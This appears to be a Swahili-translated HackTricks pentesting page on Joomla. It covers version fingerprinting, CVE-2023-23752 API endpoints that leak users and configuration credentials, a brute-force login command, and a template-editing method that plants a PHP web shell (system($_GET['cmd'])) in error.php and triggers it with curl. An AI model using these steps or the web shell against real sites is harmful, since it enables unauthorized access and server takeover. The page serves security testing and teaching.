# Joomla {{#include ../../banners/hacktricks-training.md}} ### Takwimu za Joomla Joomla inakusanya takwimu za [matumizi](https://developer.joomla.org/about/stats.html) zisizo na jina kama vile mgawanyiko wa matoleo ya Joomla, PHP na hifadhidata na mifumo ya uendeshaji ya seva zinazotumika kwenye usakinishaji wa Joomla. Takwimu hizi zinaweza kuombwa kupitia [API](https://developer.joomla.org/about/stats/api.html) yao ya umma. ```bash curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool { "data": { "cms_version": { "3.0": 0, "3.1": 0, "3.10": 6.33, "3.2": 0.01, "3.3": 0.02, "3.4": 0.05, "3.5": 12.24, "3.6": 22.85, "3.7": 7.99, "3.8": 17.72, "3.9": 27.24, "4.0": 3.21, "4.1": 1.53, "4.2": 0.82, "4.3": 0, "5.0": 0 }, "total": 2951032 } } ``` ## Enumeration ### Discovery/Footprinting - Angalia **meta** ```bash curl https://www.joomla.org/ | grep Joomla | grep generator ``` - robots.txt ``` # If the Joomla site is installed within a folder # eg www.example.com/joomla/ then the robots.txt file # MUST be moved to the site root # eg www.example.com/robots.txt # AND the joomla folder name MUST be prefixed to all of the # paths. [...] ``` - README.txt ``` 1- What is this? * This is a Joomla! installation/upgrade package to version 3.x * Joomla! Official site: https://www.joomla.org * Joomla! 3.9 version history - [https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history](https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history) * Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging ``` ### Toleo - Katika **/administrator/manifests/files/joomla.xml** unaweza kuona toleo. - Katika **/language/en-GB/en-GB.xml** unaweza kupata toleo la Joomla. - Katika **plugins/system/cache/cache.xml** unaweza kuona toleo la takriban. ### Otomatiki ```bash droopescan scan joomla --url http://joomla-site.local/ ``` In[ **80,443 - Pentesting Web Methodology ni sehemu kuhusu skana za CMS**](#cms-scanners) ambazo zinaweza skana Joomla. ### API Ufunuo wa Taarifa Bila Uthibitisho: Matoleo Kutoka 4.0.0 hadi 4.2.7 yana hatari ya ufunuo wa taarifa bila uthibitisho (CVE-2023-23752) ambayo itatoa creds na taarifa nyingine. - Watumiaji: `http:///api/v1/users?public=true` - Faili ya Mipangilio: `http:///api/index.php/v1/config/application?public=true` **Moduli ya MSF**: `scanner/http/joomla_api_improper_access_checks` au script ya ruby: [51334](https://www.exploit-db.com/exploits/51334) ### Brute-Force Unaweza kutumia [script](https://github.com/ajnik/joomla-bruteforce) hii kujaribu kufanya brute force kwenye kuingia. ```shell-session sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin admin:admin ``` ## RCE Ikiwa umeweza kupata **admin credentials** unaweza **RCE ndani yake** kwa kuongeza kipande cha **PHP code** ili kupata **RCE**. Tunaweza kufanya hivi kwa **kubadilisha** **template**. 1. **Bonyeza** kwenye **`Templates`** chini kushoto chini ya `Configuration` ili kuleta menyu ya templates. 2. **Bonyeza** kwenye jina la **template**. Hebu chague **`protostar`** chini ya kichwa cha safu ya `Template`. Hii itatuletea kwenye ukurasa wa **`Templates: Customise`**. 3. Hatimaye, unaweza kubonyeza kwenye ukurasa ili kuleta **chanzo cha ukurasa**. Hebu chague ukurasa wa **`error.php`**. Tutongeza **PHP one-liner ili kupata utekelezaji wa code** kama ifuatavyo: 1. **`system($_GET['cmd']);`** 4. **Hifadhi & Funga** 5. `curl -s http://joomla-site.local/templates/protostar/error.php?cmd=id` ## From XSS to RCE - [**JoomSploit**](https://github.com/nowak0x01/JoomSploit): Joomla Exploitation Script ambayo **inainua XSS hadi RCE au Uthibitisho Mwingine wa Kihatarishi**. Kwa maelezo zaidi angalia [**hii chapisho**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Inatoa **msaada kwa Joomla Versions 5.X.X, 4.X.X, na 3.X.X, na inaruhusu:** - _**Privilege Escalation:**_ Inaunda mtumiaji katika Joomla. - _**(RCE) Built-In Templates Edit:**_ Hariri Templates za Built-In katika Joomla. - _**(Custom) Custom Exploits:**_ Custom Exploits kwa Plugins za Tatu za Joomla. {{#include ../../banners/hacktricks-training.md}}